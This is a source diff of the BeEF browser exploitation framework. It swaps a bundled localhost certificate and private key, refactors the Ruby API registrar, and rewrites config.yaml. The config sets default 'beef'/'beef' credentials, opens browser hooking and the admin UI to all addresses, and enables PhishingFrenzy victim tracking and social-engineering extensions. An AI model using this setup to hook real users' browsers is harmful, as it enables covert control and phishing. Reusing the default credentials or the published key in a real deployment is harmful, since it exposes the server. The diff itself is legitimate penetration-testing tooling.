-cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2
-VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP
-0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z
-F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0
-kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+
-kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N
-B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N
-JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz
-GkY0IBg9+j6XX4JwEXxCGt0a
+MIIECTCCAnGgAwIBAgIUbx/YybkSOL8uO0qikl/wsL4xLeIwDQYJKoZIhvcNAQEL
+BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTE5MDIxNjEzMjYxNFoXDTI5MDIx
+MzEzMjYxNFowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBojANBgkqhkiG9w0BAQEF
+AAOCAY8AMIIBigKCAYEAteQJ2fooOffGU8jFkArCsFaJZW5WSuc5j7i2ciG0LY2C
+lVg1Uy7/6xHe048RJAD9AnWajf9Jt7NpAAoyRmFJOepZS8CStON4mBrKUFI4rzAB
+W9F7nov5+k+GK11kuvPFyAQCGs82RpGXsEP2ktsimsWvI8jnt7B+DXltqxeWavXB
+TYOTsDhyRxXcNPGgenOabtya1XsAecTs4JPOsV4L/hnTS70X8BNOcMRFRNb3W5C0
+w3vnid9Q6jhDRC6ghpeVWgnlymqV0Y6v1pbWZRs71sKQF/V5Td5zA8pr9r30YFAD
+Wbkb33vicU5BkZ8PQeUygqtqKOhni9i8Yg1otkXmqWsmo5sV/GgKHvkxOoQBlzv3
+hhMyYEnKjhPuepKl/VW17zRFdMCQZbvtW9/WBX4AwtKNAxYiRRO5jvDU1pX0nfXw
+86ZPfkbkPdJJYqZqqsOSSOVSpCkoLJv/owaY10XwgSEl8rA+3t03/9B6s09Q0o28
+0zXu/CMiSBNSEJlJSNdZAgMBAAGjUzBRMB0GA1UdDgQWBBTULhamHun+PWMkHDzg
+5yHcv0KOmTAfBgNVHSMEGDAWgBTULhamHun+PWMkHDzg5yHcv0KOmTAPBgNVHRMB
+Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBgQAZo9xPTktJ1aTxTXfLKivqbPin
+5CiRl5DWh1niPUFowmuAGbDCYOHA/+fzhBhFWj3LVaX2dQSpYxiqnfb5FWaxNK+8
+9A0AKgf8f2cpJ22QleDFOsyCw8jxzSfmOKKQLifY5Ty5C5P8xb9T0B7LbyR8r17p
+sr77eM/5tBpsIIh40AZjoDhi/HHrtqxEb+DgnTRHIBMmzvwkk+v4iXBDCO5BHFof
+gVXOF3MrovhH+qA8HFl9diJ6MtTltVAqI0eShBLd2MJ068qKqb+I6pyXGmlrk9Ei
+H0XrKlKEKjyum6ZEPr5Mn+NA+4ePRv1mPHoaopJoNhgRislfryGFLJwxeuMJfQOU
+oZTmgK8Ur0TYLl/wqf9avX3A8hkffNZXukmzNwjzLVG252RPA2Iq3y1+7VgOjaBJ
+rNbwArYInhfF5hJesjo3LAD9H29dFxR6dztpOcDCkaOZEdlz+fvqUFYJzwuHmuSi
+DLyqAOr77CjoWEMSHcXUEGUeJDKVqLgzqC9lqf4=
 -----END CERTIFICATE-----

beef_key.pem

@@ -1,16 +1,40 @@
 -----BEGIN PRIVATE KEY-----
-MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5
-X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p
-KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y
-0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3
-HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6
-4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI
-5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS
-26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo
-yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI
-rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn
-AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc
-QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU
-WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88
-yBgay+U9QuoEO425
+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
+jyItP2FJBbw7BlIq7t2c2G66
 -----END PRIVATE KEY-----

config.yaml

@@ -1,123 +1,148 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
 # BeEF Configuration file
 
 beef:
-    version: '0.4.4.6-alpha'
+    version: '0.4.7.4-alpha-pre'
+    # More verbose messages (server-side)
     debug: false
+    # More verbose messages (client-side)
+    client_debug: false
+    # Used for generating secure tokens
+    crypto_default_value_length: 80
 
+    # Credentials to authenticate in BeEF.
+    # Used by both the RESTful API and the Admin interface
+    credentials:
+        user:   "beef"
+        passwd: "beef"
+
+    # Interface / IP restrictions
     restrictions:
-        # subnet of browser ip addresses that can hook to the framework
-        permitted_hooking_subnet: "0.0.0.0/0"
-        # subnet of browser ip addresses that can connect to the UI
-        # permitted_ui_subnet: "127.0.0.1/32"
-        permitted_ui_subnet: "0.0.0.0/0"
+        # subnet of IP addresses that can hook to the framework
+        permitted_hooking_subnet: ["0.0.0.0/0", "::/0"]
+        # subnet of IP addresses that can connect to the admin UI
+        #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
+        permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
+        # slow API calls to 1 every  api_attempt_delay  seconds
+        api_attempt_delay: "0.05"
 
+    # HTTP server
     http:
         debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
         host: "0.0.0.0"
         port: "3000"
-        # Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
-        # It's not advised to decrease it with tons of hooked browsers (more than 50),
-        # because it might impact performance. Also, enable WebSockets is generally better.
-        xhr_poll_timeout: 5000
-        # if running behind a nat set the public ip address here
-        #public: ""
-        #public_port: "" # port setting is experimental
-        # DNS
-        dns_host: "localhost"
-        dns_port: 53
-        panel_path: "/ui/panel"
+
+        # Decrease this setting to 1,000 (ms) if you want more responsiveness
+        #  when sending modules and retrieving results.
+        # NOTE: A poll timeout of less than 5,000 (ms) might impact performance
+        #  when hooking lots of browsers (50+).
+        # Enabling WebSockets is generally better (beef.websocket.enable)
+        xhr_poll_timeout: 1000
+
+        # Host Name / Domain Name
+        # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
+        #   set the public hostname below:
+        #public: ""      # public hostname/IP address
+
+        # Reverse Proxy / NAT
+        # If you want BeEF to be accessible behind a reverse proxy or NAT,
+        #   set both the publicly accessible hostname/IP address and port below:
+        #public: ""      # public hostname/IP address
+        #public_port: "" # public port (experimental)
+
+        # Hook
         hook_file: "/hook.js"
         hook_session_name: "BEEFHOOK"
-        session_cookie_name: "BEEFSESSION"
 
-        # Allow one or multiple domains to access the RESTful API using CORS
-        # For multiple domains use: "http://browserhacker.com, http://domain2.com"
+        # Allow one or multiple origins to access the RESTful API using CORS
+        # For multiple origins use: "http://browserhacker.com, http://domain2.com"
         restful_api:
             allow_cors: false
             cors_allowed_domains: "http://browserhacker.com"
 
         # Prefer WebSockets over XHR-polling when possible.
         websocket:
-          enable: false
-          secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
-          port: 61985 # WS: good success rate through proxies
-          secure_port: 61986 # WSSecure
-          ws_poll_timeout: 1000 # poll BeEF every second
+            enable: false
+            port: 61985 # WS: good success rate through proxies
+            # Use encrypted 'WebSocketSecure'
+            # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
+            secure: true
+            secure_port: 61986 # WSSecure
+            ws_poll_timeout: 1000 # poll BeEF every second
+            ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
 
         # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
         web_server_imitation:
             enable: true
-            type: "apache" #supported: apache, iis
-
+            type: "apache" # Supported: apache, iis, nginx
+            hook_404: false # inject BeEF hook in HTTP 404 responses
+            hook_root: false # inject BeEF hook in the server home page
         # Experimental HTTPS support for the hook / admin / all other Thin managed web services
         https:
             enable: false
             # In production environments, be sure to use a valid certificate signed for the value
-            # used in beef.http.dns_host (the domain name of the server where you run BeEF)
+            # used in beef.http.public (the domain name of the server where you run BeEF)
             key: "beef_key.pem"
             cert: "beef_cert.pem"
 
     database:
-        # For information on using other databases please read the
-        # README.databases file
+        file: "beef.db"
 
-        # supported DBs: sqlite, mysql, postgres
-        # NOTE: you must change the Gemfile adding a gem require line like:
-        #   gem "dm-postgres-adapter"
-        # or
-        #   gem "dm-mysql-adapter"
-        # if you want to switch drivers from sqlite to postgres (or mysql).
-        # Finally, run a 'bundle install' command and start BeEF.
-        driver: "sqlite"
-
-        # db_file is only used for sqlite
-        db_file: "beef.db"
-
-        # db connection information is only used for mysql/postgres
-        db_host: "localhost"
-        db_port: 5432
-        db_name: "beef"
-        db_user: "beef"
-        db_passwd: "beef123"
-        db_encoding: "UTF-8"
-
-    # Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
-    credentials:
-        user:   "beef"
-        passwd: "beef"
-
-    # Autorun modules as soon the browser is hooked.
-    # NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
+    # Autorun Rule Engine
     autorun:
+        # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
+        # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
+        # continue execution regardless of results.
+        # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
+        result_poll_interval: 300
+        result_poll_timeout: 5000
+
+        # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
+        # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
+        continue_after_timeout: true
+
+    # Enables DNS lookups on zombie IP addresses
+    dns_hostname_lookup: false
+
+    # IP Geolocation
+    # NOTE: requires MaxMind database. Run ./updated-geoipdb to install.
+    geoip:
         enable: true
-        # set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify
-        allow_user_notify: true
+        database: '/opt/GeoIP/GeoLite2-City.mmdb'
 
-    crypto_default_value_length: 80
-
-    # Enable client-side debugging
-    client:
-        debug: false
+    # Integration with PhishingFrenzy
+    # If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
+    # to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
+    integration:
+        phishing_frenzy:
+            enable: false
 
     # You may override default extension configuration parameters here
+    # Note: additional experimental extensions are available in the 'extensions' directory
+    #       and can be enabled via their respective 'config.yaml' file
     extension:
+        admin_ui:
+            enable: true
+            base_path: "/ui"
+        demos:
+            enable: true
+        events:
+            enable: true
+        evasion:
+            enable: false
         requester:
             enable: true
         proxy:
             enable: true
+        network:
+            enable: true
         metasploit:
             enable: false
         social_engineering:
             enable: true
-        evasion:
-            enable: false
-        console:
-             shell:
-                enable: false
-        ipec:
+        xssrays:
             enable: true

core/api.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -7,168 +7,205 @@
 module BeEF
   module API
 
+    #
     # Registrar class to handle all registered timed API calls
+    #
     class Registrar
-
       include Singleton
 
+      #
       # Create registrar
+      #
       def initialize
         @registry = []
         @count = 1
       end
 
       # Register timed API calls to an owner
+      #
       # @param [Class] owner the owner of the API hook
       # @param [Class] c the API class the owner would like to hook into
       # @param [String] method the method of the class the owner would like to execute
       # @param [Array] params an array of parameters that need to be matched before the owner will be called
+      #
       def register(owner, c, method, params = [])
-        if self.verify_api_path(c, method)
-          if not self.registered?(owner, c, method, params)
-            id = @count
-            @registry << {
-                'id' => id,
-                'owner' => owner,
-                'class' => c,
-                'method' => method,
-                'params' => params
-            }
-            @count += 1
-            return id
-          else
-            print_debug "API Registrar: Attempting to re-register API call #{c.to_s} :#{method.to_s}"
-          end
-        else
-          print_error "API Registrar: Attempted to register non-existant API method #{c.to_s} :#{method.to_s}"
+        unless verify_api_path(c, method)
+          print_error "API Registrar: Attempted to register non-existant API method #{c} :#{method}"
+          return
         end
+
+        if registered?(owner, c, method, params)
+          print_debug "API Registrar: Attempting to re-register API call #{c} :#{method}"
+          return
+        end
+
+        id = @count
+        @registry << {
+          'id'     => id,
+          'owner'  => owner,
+          'class'  => c,
+          'method' => method,
+          'params' => params
+        }
+        @count += 1
+
+        id
       end
 
+      #
       # Tests whether the owner is registered for an API hook
+      #
       # @param [Class] owner the owner of the API hook
       # @param [Class] c the API class
       # @param [String] method the method of the class
       # @param [Array] params an array of parameters that need to be matched
+      #
       # @return [Boolean] whether or not the owner is registered
+      #
       def registered?(owner, c, method, params = [])
-        @registry.each{|r|
-          if r['owner'] == owner and r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
-            return true
-          end
-        }
-        return false
+        @registry.each do |r|
+          next unless r['owner'] == owner
+          next unless r['class'] == c
+          next unless r['method'] == method
+          next unless is_matched_params? r, params
+          return true
+        end
+        false
       end
 
+      #
       # Match a timed API call to determine if an API.fire() is required
+      #
       # @param [Class] c the target API class
       # @param [String] method the method of the target API class
       # @param [Array] params an array of parameters that need to be matched
+      #
       # @return [Boolean] whether or not the arguments match an entry in the API registry
+      #
       def matched?(c, method, params = [])
-        @registry.each{|r|
-          if r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
-            return true
-          end
-        }
-        return false
+        @registry.each do |r|
+          next unless r['class'] == c
+          next unless r['method'] == method
+          next unless is_matched_params? r, params
+          return true
+        end
+        false
       end
 
+      #
       # Un-registers an API hook
+      #
       # @param [Integer] id the ID of the API hook
+      #
       def unregister(id)
-        @registry.delete_if{|r|
-          r['id'] == id
-        }
+        @registry.delete_if {|r| r['id'] == id }
       end
 
+      #
       # Retrieves all the owners and ID's of an API hook
       # @param [Class] c the target API class
       # @param [String] method the method of the target API class
       # @param [Array] params an array of parameters that need to be matched
+      #
       # @return [Array] an array of hashes consisting of two keys :owner and :id
+      #
       def get_owners(c, method, params = [])
         owners = []
-        @registry.each{|r|
-          if r['class'] == c and r['method'] == method
-            if self.is_matched_params?(r, params)
-              owners << { :owner => r['owner'], :id => r['id']}
-            end
-          end
-        }
-        return owners
+        @registry.each do |r|
+          next unless r['class'] == c
+          next unless r['method'] == method
+          next unless is_matched_params? r, params
+          owners << { :owner => r['owner'], :id => r['id'] }
+        end
+        owners
       end
 
+      #
       # Verifies that the api_path has been regitered
       # Verifies the API path has been registered.
+      #
       # @note This is a security precaution
+      #
       # @param [Class] c the target API class to verify
       # @param [String] m the target method to verify
+      #
       def verify_api_path(c, m)
-        return (c.const_defined?('API_PATHS') and c.const_get('API_PATHS').has_key?(m))
+        (c.const_defined?('API_PATHS') && c.const_get('API_PATHS').key?(m))
       end
 
+      #
       # Retrieves the registered symbol reference for an API hook
+      #
       # @param [Class] c the target API class to verify
       # @param [String] m the target method to verify
+      #
       # @return [Symbol] the API path
+      #
       def get_api_path(c, m)
-        return (self.verify_api_path(c, m)) ? c.const_get('API_PATHS')[m] : nil;
+        verify_api_path(c, m) ? c.const_get('API_PATHS')[m] : nil
       end
 
+      #
       # Matches stored API params to params
+      #
       # @note If a stored API parameter has a NilClass the parameter matching is skipped for that parameter
       # @note By default this method returns true, this is either because the API.fire() did not include any parameters or there were no parameters defined for this registry entry
+      #
       # @param [Hash] reg hash of registry element, must contain 'params' key
       # @param [Array] params array of parameters to be compared to the stored parameters
+      #
       # @return [Boolean] whether params matches the stored API parameters
+      #
       def is_matched_params?(reg, params)
         stored = reg['params']
-        if stored.length == params.length
-          matched = true
-          stored.each_index{|i|
-            next if stored[i] == nil
-            if not stored[i] == params[i]
-              matched = false
-            end
-          }
-          return false if not matched
+        return true unless stored.length == params.length
+
+        stored.each_index do |i|
+          next if stored[i].nil?
+          return false unless stored[i] == params[i]
         end
-        return true
+
+        true
       end
 
+      #
       # Fires all owners registered to this API hook
+      #
       # @param [Class] c the target API class
       # @param [String] m the target API method
       # @param [Array] *args parameters passed for the API call
-      # @return [Hash, NilClass] returns either a Hash of :api_id and :data if the owners return data, otherwise NilClass
+      #
+      # @return [Hash, NilClass] returns either a Hash of :api_id and :data
+      #         if the owners return data, otherwise NilClass
+      #
       def fire(c, m, *args)
-        mods = self.get_owners(c, m, args)
-        if mods.length > 0
-          data = []
-          if self.verify_api_path(c, m) and c.ancestors[0].to_s > "BeEF::API"
-            method = self.get_api_path(c, m)
-            mods.each do |mod|
-              begin
-                #Only used for API Development (very verbose)
-                #print_info "API: #{mod} fired #{method}"
-                result = mod[:owner].method(method).call(*args)
-                if not result == nil
-                  data << {:api_id => mod[:id], :data => result}
-                end
-              rescue Exception => e
-                print_error "API Fire Error: #{e.message} in #{mod.to_s}.#{method.to_s}()"
-              end
-            end
-          else
-            print_error "API Path not defined for Class: #{c.to_s} method:#{method.to_s}"
-          end
-          return data
+        mods = get_owners(c, m, args)
+        return nil unless mods.length.positive?
+
+        unless verify_api_path(c, m) && c.ancestors[0].to_s > 'BeEF::API'
+          print_error "API Path not defined for Class: #{c} method:#{method}"
+          return []
         end
-        return nil
+
+        data = []
+        method = get_api_path(c, m)
+        mods.each do |mod|
+          begin
+            # Only used for API Development (very verbose)
+            # print_info "API: #{mod} fired #{method}"
+
+            result = mod[:owner].method(method).call(*args)
+            unless result.nil?
+              data << { :api_id => mod[:id], :data => result }
+            end
+          rescue => e
+            print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
+          end
+        end
+
+        data
       end
-
     end
-
   end
 end
 

core/api/extension.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/extensions.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/configuration.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/migration.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/network_stack/assethandler.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/server.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/server/hook.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/module.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/modules.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/bootstrap.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -29,8 +29,10 @@ require 'core/main/network_stack/handlers/raw'
 require 'core/main/network_stack/assethandler'
 require 'core/main/network_stack/api'
 
-# @note Include the distributed engine
-require 'core/main/distributed_engine/models/rules'
+# @note Include the autorun engine
+require 'core/main/autorun_engine/parser'
+require 'core/main/autorun_engine/engine'
+require 'core/main/autorun_engine/rule_loader'
 
 ## @note Include helpers
 require 'core/module'
@@ -41,10 +43,13 @@ require 'core/hbmanager'
 
 ## @note Include RESTful API
 require 'core/main/rest/handlers/hookedbrowsers'
+require 'core/main/rest/handlers/browserdetails'
 require 'core/main/rest/handlers/modules'
 require 'core/main/rest/handlers/categories'
 require 'core/main/rest/handlers/logs'
 require 'core/main/rest/handlers/admin'
+require 'core/main/rest/handlers/server'
+require 'core/main/rest/handlers/autorun_engine'
 require 'core/main/rest/api'
 
 ## @note Include Websocket

core/core.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,7 +10,7 @@ end
 end
 
 # @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
-require 'core/main/models/user'
+require 'core/main/model'
 require 'core/main/models/commandmodule'
 require 'core/main/models/hookedbrowser'
 require 'core/main/models/log'
@@ -18,11 +18,12 @@ require 'core/main/models/command'
 require 'core/main/models/result'
 require 'core/main/models/optioncache'
 require 'core/main/models/browserdetails'
+require 'core/main/models/rule'
+require 'core/main/models/execution'
 
 # @note Include the constants
 require 'core/main/constants/browsers'
 require 'core/main/constants/commandmodule'
-require 'core/main/constants/distributedengine'
 require 'core/main/constants/os'
 require 'core/main/constants/hardware'
 
@@ -32,9 +33,9 @@ require 'core/main/command'
 require 'core/main/crypto'
 require 'core/main/logger'
 require 'core/main/migration'
+require 'core/main/geoip'
 
 # @note Include the command line parser and the banner printer
 require 'core/main/console/commandline'
 require 'core/main/console/banners'
 
-

core/extension.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,36 +10,40 @@ module BeEF
     # @param [String] ext the extension key
     # @return [Boolean] whether or not the extension exists in BeEF's configuration
     def self.is_present(ext)
-      return BeEF::Core::Configuration.instance.get('beef.extension').has_key?(ext.to_s)
+      BeEF::Core::Configuration.instance.get('beef.extension').key? ext.to_s
     end
 
     # Checks to see if extension is enabled in configuration
     # @param [String] ext the extension key
     # @return [Boolean] whether or not the extension is enabled 
     def self.is_enabled(ext)
-      return (self.is_present(ext) and BeEF::Core::Configuration.instance.get('beef.extension.'+ext.to_s+'.enable') == true)
